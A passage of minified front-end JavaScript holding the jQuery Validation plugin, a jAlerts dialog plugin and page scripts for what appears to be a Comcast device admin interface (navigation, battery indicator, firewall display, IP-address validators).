button").filter(":submit").click(function(){validator.submitButton=this})} +this.submit(function(event){if(validator.settings.debug){event.preventDefault()}function handle(){if(validator.settings.submitHandler){if(validator.submitButton){var hidden=$("").attr("name",validator.submitButton.name).val(validator.submitButton.value).appendTo(validator.currentForm)} +validator.settings.submitHandler.call(validator,validator.currentForm);if(validator.submitButton){hidden.remove()} +return false} +return true} +if(validator.cancelSubmit){validator.cancelSubmit=false;return handle()} +if(validator.form()){if(validator.pendingRequest){validator.formSubmitted=true;return false} +return handle()}else{validator.focusInvalid();return false}})} +return validator},valid:function(){if($(this[0]).is("form")){return this.validate().form()}else{var valid=true;var validator=$(this[0].form).validate();this.each(function(){valid&=validator.element(this)});return valid}},removeAttrs:function(attributes){var result={},$element=this;$.each(attributes.split(/\s/),function(index,value){result[value]=$element.attr(value);$element.removeAttr(value)});return result},rules:function(command,argument){var element=this[0];if(command){var settings=$.data(element.form,"validator").settings;var staticRules=settings.rules;var existingRules=$.validator.staticRules(element);switch(command){case"add":$.extend(existingRules,$.validator.normalizeRule(argument));staticRules[element.name]=existingRules;if(argument.messages){settings.messages[element.name]=$.extend(settings.messages[element.name],argument.messages)} +break;case"remove":if(!argument){delete staticRules[element.name];return existingRules} +var filtered={};$.each(argument.split(/\s/),function(index,method){filtered[method]=existingRules[method];delete existingRules[method]});return filtered}} +var data=$.validator.normalizeRules($.extend({},$.validator.metadataRules(element),$.validator.classRules(element),$.validator.attributeRules(element),$.validator.staticRules(element)),element);if(data.required){var param=data.required;delete data.required;data=$.extend({required:param},data)} +return data}});$.extend($.expr[":"],{blank:function(a){return!$.trim(a.value)},filled:function(a){return!!$.trim(a.value)},unchecked:function(a){return!a.checked}});$.validator=function(options,form){this.settings=$.extend({},$.validator.defaults,options);this.currentForm=form;this.init()};$.validator.format=function(source,params){if(arguments.length==1){return function(){var args=$.makeArray(arguments);args.unshift(source);return $.validator.format.apply(this,args)}} +if(arguments.length>2&¶ms.constructor!=Array){params=$.makeArray(arguments).slice(1)} +if(params.constructor!=Array){params=[params]} +$.each(params,function(i,n){source=source.replace(new RegExp("\\{"+i+"\\}","g"),n)});return source};$.extend($.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",validClass:"valid",errorElement:"label",focusInvalid:true,errorContainer:$([]),errorLabelContainer:$([]),onsubmit:true,ignore:[],ignoreTitle:false,onfocusin:function(element){this.lastActive=element;if(this.settings.focusCleanup&&!this.blockFocusCleanup){this.settings.unhighlight&&this.settings.unhighlight.call(this,element,this.settings.errorClass,this.settings.validClass);this.errorsFor(element).hide()}},onfocusout:function(element){if(!this.checkable(element)&&(element.name in this.submitted||!this.optional(element))){this.element(element)}},onkeyup:function(element){if(element.name in this.submitted||element==this.lastElement){this.element(element)}},onclick:function(element){if(element.name in this.submitted){this.element(element)}},highlight:function(element,errorClass,validClass){$(element).addClass(errorClass).removeClass(validClass)},unhighlight:function(element,errorClass,validClass){$(element).removeClass(errorClass).addClass(validClass)}},setDefaults:function(settings){$.extend($.validator.defaults,settings)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",dateDE:"Bitte geben Sie ein gltiges Datum ein.",number:"Please enter a valid number.",numberDE:"Bitte geben Sie eine Nummer ein.",digits:"Please enter only digits",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",accept:"Please enter a value with a valid extension.",maxlength:$.validator.format("Please enter no more than {0} characters."),minlength:$.validator.format("Please enter at least {0} characters."),rangelength:$.validator.format("Please enter a value between {0} and {1} characters long."),range:$.validator.format("Please enter a value between {0} and {1}."),max:$.validator.format("Please enter a value less than or equal to {0}."),min:$.validator.format("Please enter a value greater than or equal to {0}.")},autoCreateRanges:false,prototype:{init:function(){this.labelContainer=$(this.settings.errorLabelContainer);this.errorContext=this.labelContainer.length&&this.labelContainer||$(this.currentForm);this.containers=$(this.settings.errorContainer).add(this.settings.errorLabelContainer);this.submitted={};this.valueCache={};this.pendingRequest=0;this.pending={};this.invalid={};this.reset();var groups=(this.groups={});$.each(this.settings.groups,function(key,value){$.each(value.split(/\s/),function(index,name){groups[name]=key})});var rules=this.settings.rules;$.each(rules,function(key,value){rules[key]=$.validator.normalizeRule(value)});function delegate(event){var validator=$.data(this[0].form,"validator");validator.settings["on"+event.type]&&validator.settings["on"+event.type].call(validator,this[0])} +$(this.currentForm).delegate("focusin focusout keyup",":text, :password, :file, select, textarea",delegate).delegate("click",":radio, :checkbox",delegate);if(this.settings.invalidHandler){$(this.currentForm).bind("invalid-form.validate",this.settings.invalidHandler)}},form:function(){this.checkForm();$.extend(this.submitted,this.errorMap);this.invalid=$.extend({},this.errorMap);if(!this.valid()){$(this.currentForm).triggerHandler("invalid-form",[this])} +this.showErrors();return this.valid()},checkForm:function(){this.prepareForm();for(var i=0,elements=(this.currentElements=this.elements());elements[i];i++){this.check(elements[i])} +return this.valid()},element:function(element){element=this.clean(element);this.lastElement=element;this.prepareElement(element);this.currentElements=$(element);var result=this.check(element);if(result){delete this.invalid[element.name]}else{this.invalid[element.name]=true} +if(!this.numberOfInvalids()){this.toHide=this.toHide.add(this.containers)} +this.showErrors();return result},showErrors:function(errors){if(errors){$.extend(this.errorMap,errors);this.errorList=[];for(var name in errors){this.errorList.push({message:errors[name],element:this.findByName(name)[0]})} +this.successList=$.grep(this.successList,function(element){return!(element.name in errors)})} +this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){if($.fn.resetForm){$(this.currentForm).resetForm()} +this.submitted={};this.prepareForm();this.hideErrors();this.elements().removeClass(this.settings.errorClass)},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(obj){var count=0;for(var i in obj){count++} +return count},hideErrors:function(){this.addWrapper(this.toHide).hide()},valid:function(){return this.size()==0},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid){try{$(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").focus()}catch(e){}}},findLastActive:function(){var lastActive=this.lastActive;return lastActive&&$.grep(this.errorList,function(n){return n.element.name==lastActive.name}).length==1&&lastActive},elements:function(){var validator=this,rulesCache={};return $([]).add(this.currentForm.elements).filter(":input").not(":submit, :reset, :image, [disabled]").not(this.settings.ignore).filter(function(){!this.name&&validator.settings.debug&&window.console&&console.error("%o has no name assigned",this);if(this.name in rulesCache||!validator.objectLength($(this).rules())){return false} +rulesCache[this.name]=true;return true})},clean:function(selector){return $(selector)[0]},errors:function(){return $(this.settings.errorElement+"."+this.settings.errorClass,this.errorContext)},reset:function(){this.successList=[];this.errorList=[];this.errorMap={};this.toShow=$([]);this.toHide=$([]);this.formSubmitted=false;this.currentElements=$([])},prepareForm:function(){this.reset();this.toHide=this.errors().add(this.containers)},prepareElement:function(element){this.reset();this.toHide=this.errorsFor(element)},check:function(element){element=this.clean(element);if(this.checkable(element)){element=this.findByName(element.name)[0]} +var rules=$(element).rules();var dependencyMismatch=false;for(method in rules){var rule={method:method,parameters:rules[method]};try{var result=$.validator.methods[method].call(this,element.value.replace(/\r/g,""),element,rule.parameters);if(result=="dependency-mismatch"){dependencyMismatch=true;continue} +dependencyMismatch=false;if(result=="pending"){this.toHide=this.toHide.not(this.errorsFor(element));return} +if(!result){this.formatAndAdd(element,rule);return false}}catch(e){this.settings.debug&&window.console&&console.log("exception occured when checking element "+element.id+", check the '"+rule.method+"' method");throw e}} +if(dependencyMismatch){return} +if(this.objectLength(rules)){this.successList.push(element)} +return true},customMetaMessage:function(element,method){if(!$.metadata){return} +var meta=this.settings.meta?$(element).metadata()[this.settings.meta]:$(element).metadata();return meta&&meta.messages&&meta.messages[method]},customMessage:function(name,method){var m=this.settings.messages[name];return m&&(m.constructor==String?m:m[method])},findDefined:function(){for(var i=0;iWarning: No message defined for "+element.name+"")},formatAndAdd:function(element,rule){var message=this.defaultMessage(element,rule.method);if(typeof message=="function"){message=message.call(this,rule.parameters,element)} +this.errorList.push({message:message,element:element});this.errorMap[element.name]=message;this.submitted[element.name]=message},addWrapper:function(toToggle){if(this.settings.wrapper){toToggle=toToggle.add(toToggle.parent(this.settings.wrapper))} +return toToggle},defaultShowErrors:function(){for(var i=0;this.errorList[i];i++){var error=this.errorList[i];this.settings.highlight&&this.settings.highlight.call(this,error.element,this.settings.errorClass,this.settings.validClass);this.showLabel(error.element,error.message)} +if(this.errorList.length){this.toShow=this.toShow.add(this.containers)} +if(this.settings.success){for(var i=0;this.successList[i];i++){this.showLabel(this.successList[i])}} +if(this.settings.unhighlight){for(var i=0,elements=this.validElements();elements[i];i++){this.settings.unhighlight.call(this,elements[i],this.settings.errorClass,this.settings.validClass)}} +this.toHide=this.toHide.not(this.toShow);this.hideErrors();this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return $(this.errorList).map(function(){return this.element})},showLabel:function(element,message){var label=this.errorsFor(element);if(label.length){label.removeClass().addClass(this.settings.errorClass);label.attr("generated")&&label.html(message)}else{label=$("<"+this.settings.errorElement+"/>").attr({"for":this.idOrName(element),generated:true}).addClass(this.settings.errorClass).html(message||"");if(this.settings.wrapper){label=label.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()} +if(!this.labelContainer.append(label).length){this.settings.errorPlacement?this.settings.errorPlacement(label,$(element)):label.insertAfter(element)}} +if(!message&&this.settings.success){label.text("");typeof this.settings.success=="string"?label.addClass(this.settings.success):this.settings.success(label)} +this.toShow=this.toShow.add(label)},errorsFor:function(element){return this.errors().filter("[for='"+this.idOrName(element)+"']")},idOrName:function(element){return this.groups[element.name]||(this.checkable(element)?element.name:element.id||element.name)},checkable:function(element){return/radio|checkbox/i.test(element.type)},findByName:function(name){var form=this.currentForm;return $(document.getElementsByName(name)).map(function(index,element){return element.form==form&&element.name==name&&element||null})},getLength:function(value,element){switch(element.nodeName.toLowerCase()){case"select":return $("option:selected",element).length;case"input":if(this.checkable(element)){return this.findByName(element.name).filter(":checked").length}} +return value.length},depend:function(param,element){return this.dependTypes[typeof param]?this.dependTypes[typeof param](param,element):true},dependTypes:{"boolean":function(param,element){return param},string:function(param,element){return!!$(param,element.form).length},"function":function(param,element){return param(element)}},optional:function(element){return!$.validator.methods.required.call(this,$.trim(element.value),element)&&"dependency-mismatch"},startRequest:function(element){if(!this.pending[element.name]){this.pendingRequest++;this.pending[element.name]=true}},stopRequest:function(element,valid){this.pendingRequest--;if(this.pendingRequest<0){this.pendingRequest=0} +delete this.pending[element.name];if(valid&&this.pendingRequest==0&&this.formSubmitted&&this.form()){$(this.currentForm).submit()}else{if(!valid&&this.pendingRequest==0&&this.formSubmitted){$(this.currentForm).triggerHandler("invalid-form",[this])}}},previousValue:function(element){return $.data(element,"previousValue")||$.data(element,"previousValue",previous={old:null,valid:true,message:this.defaultMessage(element,"remote")})}},classRuleSettings:{required:{required:true},email:{email:true},url:{url:true},date:{date:true},dateISO:{dateISO:true},dateDE:{dateDE:true},number:{number:true},numberDE:{numberDE:true},digits:{digits:true},creditcard:{creditcard:true}},addClassRules:function(className,rules){className.constructor==String?this.classRuleSettings[className]=rules:$.extend(this.classRuleSettings,className)},classRules:function(element){var rules={};var classes=$(element).attr("class");classes&&$.each(classes.split(" "),function(){if(this in $.validator.classRuleSettings){$.extend(rules,$.validator.classRuleSettings[this])}});return rules},attributeRules:function(element){var rules={};var $element=$(element);for(method in $.validator.methods){var value=$element.attr(method);if(value){rules[method]=value}} +if(rules.maxlength&&/-1|2147483647|524288/.test(rules.maxlength)){delete rules.maxlength} +return rules},metadataRules:function(element){if(!$.metadata){return{}} +var meta=$.data(element.form,"validator").settings.meta;return meta?$(element).metadata()[meta]:$(element).metadata()},staticRules:function(element){var rules={};var validator=$.data(element.form,"validator");if(validator.settings.rules){rules=$.validator.normalizeRule(validator.settings.rules[element.name])||{}} +return rules},normalizeRules:function(rules,element){$.each(rules,function(prop,val){if(val===false){delete rules[prop];return} +if(val.param||val.depends){var keepRule=true;switch(typeof val.depends){case"string":keepRule=!!$(val.depends,element.form).length;break;case"function":keepRule=val.depends.call(element,element);break} +if(keepRule){rules[prop]=val.param!==undefined?val.param:true}else{delete rules[prop]}}});$.each(rules,function(rule,parameter){rules[rule]=$.isFunction(parameter)?parameter(element):parameter});$.each(["minlength","maxlength","min","max"],function(){if(rules[this]){rules[this]=Number(rules[this])}});$.each(["rangelength","range"],function(){if(rules[this]){rules[this]=[Number(rules[this][0]),Number(rules[this][1])]}});if($.validator.autoCreateRanges){if(rules.min&&rules.max){rules.range=[rules.min,rules.max];delete rules.min;delete rules.max} +if(rules.minlength&&rules.maxlength){rules.rangelength=[rules.minlength,rules.maxlength];delete rules.minlength;delete rules.maxlength}} +if(rules.messages){delete rules.messages} +return rules},normalizeRule:function(data){if(typeof data=="string"){var transformed={};$.each(data.split(/\s/),function(){transformed[this]=true});data=transformed} +return data},addMethod:function(name,method,message){$.validator.methods[name]=method;$.validator.messages[name]=message||$.validator.messages[name];if(method.length<3){$.validator.addClassRules(name,$.validator.normalizeRule(name))}},methods:{required:function(value,element,param){if(!this.depend(param,element)){return"dependency-mismatch"} +switch(element.nodeName.toLowerCase()){case"select":var options=$("option:selected",element);return options.length>0&&(element.type=="select-multiple"||($.browser.msie&&!(options[0].attributes.value.specified)?options[0].text:options[0].value).length>0);case"input":if(this.checkable(element)){return this.getLength(value,element)>0} +default:return $.trim(value).length>0}},remote:function(value,element,param){if(this.optional(element)){return"dependency-mismatch"} +var previous=this.previousValue(element);if(!this.settings.messages[element.name]){this.settings.messages[element.name]={}} +this.settings.messages[element.name].remote=typeof previous.message=="function"?previous.message(value):previous.message;param=typeof param=="string"&&{url:param}||param;if(previous.old!==value){previous.old=value;var validator=this;this.startRequest(element);var data={};data[element.name]=value;$.ajax($.extend(true,{url:param,mode:"abort",port:"validate"+element.name,dataType:"json",data:data,success:function(response){var valid=response===true;if(valid){var submitted=validator.formSubmitted;validator.prepareElement(element);validator.formSubmitted=submitted;validator.successList.push(element);validator.showErrors()}else{var errors={};errors[element.name]=previous.message=response||validator.defaultMessage(element,"remote");validator.showErrors(errors)} +previous.valid=valid;validator.stopRequest(element,valid)}},param));return"pending"}else{if(this.pending[element.name]){return"pending"}} +return previous.valid},minlength:function(value,element,param){return this.optional(element)||this.getLength($.trim(value),element)>=param},maxlength:function(value,element,param){return this.optional(element)||this.getLength($.trim(value),element)<=param},rangelength:function(value,element,param){var length=this.getLength($.trim(value),element);return this.optional(element)||(length>=param[0]&&length<=param[1])},min:function(value,element,param){return this.optional(element)||value>=param},max:function(value,element,param){return this.optional(element)||value<=param},range:function(value,element,param){return this.optional(element)||(value>=param[0]&&value<=param[1])},email:function(value,element){return this.optional(element)||/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i.test(value)},url:function(value,element){return this.optional(element)||/^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(value)},date:function(value,element){return this.optional(element)||!/Invalid|NaN/.test(new Date(value))},dateISO:function(value,element){return this.optional(element)||/^\d{4}[\/-]\d{1,2}[\/-]\d{1,2}$/.test(value)},dateDE:function(value,element){return this.optional(element)||/^\d\d?\.\d\d?\.\d\d\d?\d?$/.test(value)},number:function(value,element){return this.optional(element)||/^-?(?:\d+|\d{1,3}(?:,\d{3})+)(?:\.\d+)?$/.test(value)},numberDE:function(value,element){return this.optional(element)||/^-?(?:\d+|\d{1,3}(?:\.\d{3})+)(?:,\d+)?$/.test(value)},digits:function(value,element){return this.optional(element)||/^\d+$/.test(value)},creditcard:function(value,element){if(this.optional(element)){return"dependency-mismatch"} +if(/[^0-9-]+/.test(value)){return false} +var nCheck=0,nDigit=0,bEven=false;value=value.replace(/\D/g,"");for(n=value.length-1;n>=0;n--){var cDigit=value.charAt(n);var nDigit=parseInt(cDigit,10);if(bEven){if((nDigit*=2)>9){nDigit-=9}} +nCheck+=nDigit;bEven=!bEven} +return(nCheck%10)==0},accept:function(value,element,param){param=typeof param=="string"?param.replace(/,/g,"|"):"png|jpe?g|gif";return this.optional(element)||value.match(new RegExp(".("+param+")$","i"))},equalTo:function(value,element,param){return value==$(param).val()}}});$.format=$.validator.format})(jQuery);(function($){var ajax=$.ajax;var pendingRequests={};$.ajax=function(settings){settings=$.extend(settings,$.extend({},$.ajaxSettings,settings));var port=settings.port;if(settings.mode=="abort"){if(pendingRequests[port]){pendingRequests[port].abort()} +return(pendingRequests[port]=ajax.apply(this,arguments))} +return ajax.apply(this,arguments)}})(jQuery);(function($){$.each({focus:"focusin",blur:"focusout"},function(original,fix){$.event.special[fix]={setup:function(){if($.browser.msie){return false} +this.addEventListener(original,$.event.special[fix].handler,true)},teardown:function(){if($.browser.msie){return false} +this.removeEventListener(original,$.event.special[fix].handler,true)},handler:function(e){arguments[0]=$.event.fix(e);arguments[0].type=fix;return $.event.handle.apply(this,arguments)}}});$.extend($.fn,{delegate:function(type,delegate,handler){return this.bind(type,function(event){var target=$(event.target);if(target.is(delegate)){return handler.apply(target,arguments)}})},triggerEvent:function(type,target){return this.triggerHandler(type,[$.event.fix({type:type,target:target})])}})})(jQuery);(function($){$.alerts={verticalOffset:-75,horizontalOffset:0,repositionOnResize:true,overlayOpacity:0.5,overlayColor:"#000",draggable:true,okButton:" OK ",cancelButton:" Cancel ",dialogClass:null,alert:function(message,title,callback){if(title==null){title="Alert"} +$.alerts._show(title,message,null,"alert",function(result){if(callback){callback(result)}})},confirm:function(message,title,callback){if(title==null){title="Confirm"} +$.alerts._show(title,message,null,"confirm",function(result){if(callback){callback(result)}})},prompt:function(message,value,title,callback){if(title==null){title="Prompt"} +$.alerts._show(title,message,value,"prompt",function(result){if(callback){callback(result)}})},_show:function(title,msg,value,type,callback){$.alerts._hide();$.alerts._overlay("show");$("BODY").append('');if($.alerts.dialogClass){$("#popup_container").addClass($.alerts.dialogClass)} +var pos=($.browser.msie&&parseInt($.browser.version)<=6)?"absolute":"fixed";$("#popup_container").css({position:pos,zIndex:99999,padding:0,margin:0});$("#popup_title").text(title);$("#popup_content").addClass(type);$("#popup_message").text(msg);$("#popup_message").html($("#popup_message").text().replace(/\n/g,"
"));$("#popup_container").css({minWidth:$("#popup_container").outerWidth(),maxWidth:$("#popup_container").outerWidth()});$.alerts._reposition();$.alerts._maintainPosition(true);switch(type){case"alert":$("#popup_message").after('');$("#popup_ok").click(function(){$.alerts._hide();callback(true)});$("#popup_ok").focus().keypress(function(e){if(e.keyCode==13||e.keyCode==27){$("#popup_ok").trigger("click")}});break;case"confirm":$("#popup_message").after('');$("#popup_ok").click(function(){$.alerts._hide();if(callback){callback(true)}});$("#popup_cancel").click(function(){$.alerts._hide();if(callback){callback(false)}});$("#popup_ok").focus();$("#popup_ok, #popup_cancel").keypress(function(e){if(e.keyCode==13){$("#popup_ok").trigger("click")} +if(e.keyCode==27){$("#popup_cancel").trigger("click")}});break;case"prompt":$("#popup_message").append('
').after('');$("#popup_prompt").width($("#popup_message").width());$("#popup_ok").click(function(){var val=$("#popup_prompt").val();$.alerts._hide();if(callback){callback(val)}});$("#popup_cancel").click(function(){$.alerts._hide();if(callback){callback(null)}});$("#popup_prompt, #popup_ok, #popup_cancel").keypress(function(e){if(e.keyCode==13){$("#popup_ok").trigger("click")} +if(e.keyCode==27){$("#popup_cancel").trigger("click")}});if(value){$("#popup_prompt").val(value)} +$("#popup_prompt").focus().select();break} +if($.alerts.draggable){try{$("#popup_container").draggable({handle:$("#popup_title")});$("#popup_title").css({cursor:"move"})}catch(e){}}},_hide:function(){$("#popup_container").remove();$.alerts._overlay("hide");$.alerts._maintainPosition(false)},_overlay:function(status){switch(status){case"show":$.alerts._overlay("hide");$("BODY").append('');$("#popup_overlay").css({position:"absolute",zIndex:99998,top:"0px",left:"0px",width:"100%",height:$(document).height(),background:$.alerts.overlayColor,opacity:$.alerts.overlayOpacity});break;case"hide":$("#popup_overlay").remove();break}},_reposition:function(){var top=(($(window).height()/2)-($("#popup_container").outerHeight()/2))+$.alerts.verticalOffset;var left=(($(window).width()/2)-($("#popup_container").outerWidth()/2))+$.alerts.horizontalOffset;if(top<0){top=0} +if(left<0){left=0} +if($.browser.msie&&parseInt($.browser.version)<=6){top=top+$(window).scrollTop()} +$("#popup_container").css({top:top+"px",left:left+"px"});$("#popup_overlay").height($(document).height())},_maintainPosition:function(status){if($.alerts.repositionOnResize){switch(status){case true:$(window).bind("resize",$.alerts._reposition);break;case false:$(window).unbind("resize",$.alerts._reposition);break}}}};jAlert=function(message,title,callback){$.alerts.alert(message,title,callback)};jConfirm=function(message,title,callback){$.alerts.confirm(message,title,callback)};jPrompt=function(message,value,title,callback){$.alerts.prompt(message,value,title,callback)}})(jQuery);var comcast=window.comcast||{};comcast.page=function(){function setupLeftNavigation(selectedNavElement){if(typeof selectedNavElement=="string"){$("#nav li."+selectedNavElement+" a").addClass("selected")} +$("#nav ul:has(.selected)").show();$("#nav li li:has(ul) > a").addClass("folder");$("#nav li li:has(.selected) > a").addClass("folder-open");$("#nav li:has(.selected) > a.top-level").addClass("top-level-active");$("#nav a.top-level").click(function(){var $topNav=$("#nav a.top-level-active");var $newNav=$(this);var $newNavList=$newNav.next();if(!$newNav.hasClass("top-level-active")){$("#nav a.top-level-active").removeClass("top-level-active").next();$(this).addClass("top-level-active");$topNav.next();$newNav.next()}});$("#nav a.folder").click(function(){var $link=$(this);var $list=$link.next();if($link.is(".folder-open")){$link.removeClass("folder-open");$list.slideUp()}else{$link.addClass("folder-open");$list.slideDown()}});if($.browser.mozilla){var $version=$.browser.version.split(".");if($version[0]&&parseInt($version[0],10)<=1){if($version[1]&&parseInt($version[1],10)<=9){if($version[2]&&parseInt($version[2],10)<=0){if($version[3]&&parseInt($version[3],10)<=11||parseInt($version[3],10)<=14){$(".block").addClass("ff2");$(".block").wrapInner($('
'))}}}} +if($version[0]&&parseInt($version[0],10)<=1){if($version[1]&&parseInt($version[1],10)<=8){if($version[2]&&parseInt($version[2],10)<=1){if($version[3]&&parseInt($version[3],10)<=15){$(".block").addClass("ff2");$(".block").wrapInner($('
'))}}}}}}function setupBatteryIndicator(){var battery=$("li.battery").text().match(/\d+/);var $icon=$("li.battery span");if(battery>90){$icon.removeClass().addClass("bat-100")}else{if(battery>60){$icon.removeClass().addClass("bat-75")}else{if(battery>39){$icon.removeClass().addClass("bat-50")}else{if(battery>18){$icon.removeClass().addClass("bat-25")}else{if(battery>8){$icon.removeClass().addClass("bat-10")}else{$icon.removeClass().addClass("bat-0")}}}}}}function setupEducationalTip(){if($("#educational-tip:has(.hidden)").length>0){var closed=true;var $link=$('more').click(function(){if(closed){$("#educational-tip .hidden").fadeIn();closed=false;$(this).html("less")}else{$("#educational-tip .hidden").fadeOut();closed=true;$(this).html("more")}}).appendTo("#educational-tip")}}function setupFirewallDisplay(){var $link=$("#security-level label");var $div=$("#security-level .hide");$($div).hide();$($link).click(function(e){$(this).siblings(".hide").slideToggle()})}function setupDeleteConfirmDialogs(){$("a.confirm").click(function(e){e.preventDefault();var href=$(this).attr("href");var message=($(this).attr("title").length>0)?"Are you sure you want to "+$(this).attr("title")+"?":"Are you sure?";jConfirm(message,"Are You Sure?",function(ret){if(ret){window.location=href}})})}function setupFormValidation(){$.validator.setDefaults({errorElement:"p",errorPlacement:function(error,element){error.appendTo(element.closest(".form-row"))}});jQuery.extend(jQuery.validator.messages,{required:"This is a required field.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",number:"Please enter a valid number.",digits:"Please enter only digits",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",accept:"Please enter a value with a valid extension.",maxlength:$.validator.format("Please enter no more than {0} characters."),minlength:$.validator.format("Please enter at least {0} characters."),rangelength:$.validator.format("Please enter a value between {0} and {1} characters long."),range:$.validator.format("Please enter a value between {0} and {1}."),max:$.validator.format("Please enter a value less than or equal to {0}."),min:$.validator.format("Please enter a value greater than or equal to {0}."),ipv4:"Please enter an IPv4 address in the format #.#.#.#"});$.validator.addMethod("alphanumeric",function(value,element){return this.optional(element)||/^[a-zA-Z0-9]+$/i.test(value)},"Only letters and numbers are valid. No spaces or special characters.");$.validator.addMethod("exactlengths",function(value,element,param){return this.optional(element)||!jQuery.inArray(value.length,param)},"Please enter exactly {0} characters.");$.validator.addMethod("hexadecimal",function(value,element){return this.optional(element)||/^[a-fA-F0-9]+$/i.test(value)},"Only hexadecimal characters are valid. Acceptable characters are ABCDEF0123456789.");$.validator.addMethod("exactlength",function(value,element,param){return this.optional(element)||value.length==param},jQuery.format("Please enter exactly {0} characters."));$.validator.addMethod("ipv4",function(value,element){return this.optional(element)||/^0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])$/i.test(value)},"Please enter an IPv4 address in the format #.#.#.#");jQuery.validator.addMethod("ip",function(val,el){function ip_valid(value){return(value.match(/^\d+$/g)&&value>=0&&value<=255)} +var inputs=$(el).closest(".form-row").find("input");var isValid=true;inputs.each(function(index,element){isValid&=ip_valid($(element).val())});return isValid},"Please enter a valid IP address.");$.validator.addMethod("ipv6",function(value,element){return 